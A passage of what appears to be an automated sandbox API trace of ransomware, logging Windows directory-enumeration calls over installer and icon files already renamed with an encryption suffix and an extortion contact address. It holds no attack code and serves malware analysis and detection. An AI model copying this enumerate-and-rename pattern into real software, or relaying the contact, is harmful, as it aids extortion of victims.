ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0206.063] FindNextFileW (in: hFindFile=0x4262f98, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e38b7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e38b7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0206.063] FindClose (in: hFindFile=0x4262f98 | out: hFindFile=0x4262f98) returned 1 [0206.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.064] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="Client", cAlternateFileName="")) returned 1 [0206.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.064] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262cd8 [0206.065] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0206.065] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8e76d99, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8e76d99, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8e76d99, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Parameterinfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARAME~1.SAV")) returned 1 [0206.066] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8e9f1e6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8e9f1e6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8e9f1e6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 1 [0206.066] FindNextFileW (in: hFindFile=0x4262cd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8e9f1e6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8e9f1e6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8e9f1e6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 0 [0206.066] FindClose (in: hFindFile=0x4262cd8 | out: hFindFile=0x4262cd8) returned 1 [0206.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.067] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8ec31ea, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8ec31ea, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x96a8dbe, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="DHtmlHeader.html.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DHTMLH~1.SAV")) returned 1 [0206.067] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e5f03d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e5f03d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e850f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="DisplayIcon.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DISPLA~1.SAV")) returned 1 [0206.067] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="Extended", cAlternateFileName="")) returned 1 [0206.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.068] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262e58 [0206.069] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0206.069] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x912574a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x912574a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x914bbf2, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Parameterinfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARAME~1.SAV")) returned 1 [0206.069] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x914bbf2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x914bbf2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9171b9f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 1 [0206.070] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x914bbf2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x914bbf2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9171b9f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 0 [0206.070] FindClose (in: hFindFile=0x4262e58 | out: hFindFile=0x4262e58) returned 1 [0206.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.071] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="Graphics", cAlternateFileName="")) returned 1 [0206.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0206.071] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262e58 [0206.072] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0206.072] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e850f9, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e850f9, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e850f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Print.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PRINTI~1.SAV")) returned 1 [0206.072] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7eab335, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7eab335, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8323a6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Rotate1.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~1.SAV")) returned 1 [0206.073] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f4403b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f4403b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f69e9c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Rotate2.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~2.SAV")) returned 1 [0206.073] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f69e9c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f69e9c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f69e9c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Rotate3.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~3.SAV")) returned 1 [0206.073] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f90157, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f90157, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f90157, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Rotate4.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="ROTATE~4.SAV")) returned 1 [0206.073] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7f90157, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7f90157, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8454d86, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Rotate5.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO6564~1.SAV")) returned 1 [0206.073] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fb63cc, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fb63cc, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fb63cc, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Rotate6.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO9CC7~1.SAV")) returned 1 [0206.074] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fb63cc, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fb63cc, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fb63cc, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Rotate7.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO116F~1.SAV")) returned 1 [0206.074] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fdc649, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fdc649, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fdc649, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Rotate8.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="RO9FCF~1.SAV")) returned 1 [0206.074] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7fdc649, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7fdc649, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7fdc649, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Save.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SAVEIC~1.SAV")) returned 1 [0206.074] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82b13ae, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82b13ae, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82d762f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="Setup.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPI~1.SAV")) returned 1 [0206.074] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82d762f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82d762f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82fd6f7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="stop.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="STOPIC~1.SAV")) returned 1 [0206.075] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82fd6f7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x82fd6f7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x82fd6f7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SysReqMet.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SYSREQ~1.SAV")) returned 1 [0206.075] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8323a6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8323a6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x880e8ea, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SysReqNotMet.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SYSREQ~2.SAV")) returned 1 [0206.075] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8323a6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8323a6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8323a6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="warn.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WARNIC~1.SAV")) returned 1 [0206.075] FindNextFileW (in: hFindFile=0x4262e58, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8323a6c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8323a6c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8323a6c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="warn.ico.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WARNIC~1.SAV")) returned 0 [0206.075] FindClose (in: hFindFile=0x4262e58 | out: hFindFile=0x4262e58) returned 1 [0206.076] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0206.076] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x92c91b3, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x92c91b3, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x92c91b3, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="header.bmp.id-B4197730.[seavays@aol.com].save", cAlternateFileName="HEADER~1.SAV")) returned 1 [0206.076] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xb6d9e4d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="netfx_Core.mzz.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~1.SAV")) returned 1 [0206.077] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x97db9cb, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="netfx_Core_x64.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~2.SAV")) returned 1 [0206.077] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x84c7664, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x84c7664, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x89fe5d9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="netfx_Core_x86.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~3.SAV")) returned 1 [0206.077] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xbb97cbd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="netfx_Extended.mzz.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NETFX_~4.SAV")) returned 1 [0206.077] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8abdf43, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8abdf43, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b0990b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="netfx_Extended_x64.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NE6FA1~1.SAV")) returned 1 [0206.078] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9361c02, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9361c02, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x99685ec, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="netfx_Extended_x86.msi.id-B4197730.[seavays@aol.com].save", cAlternateFileName="NE2CD2~1.SAV")) returned 1 [0206.078] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x80, 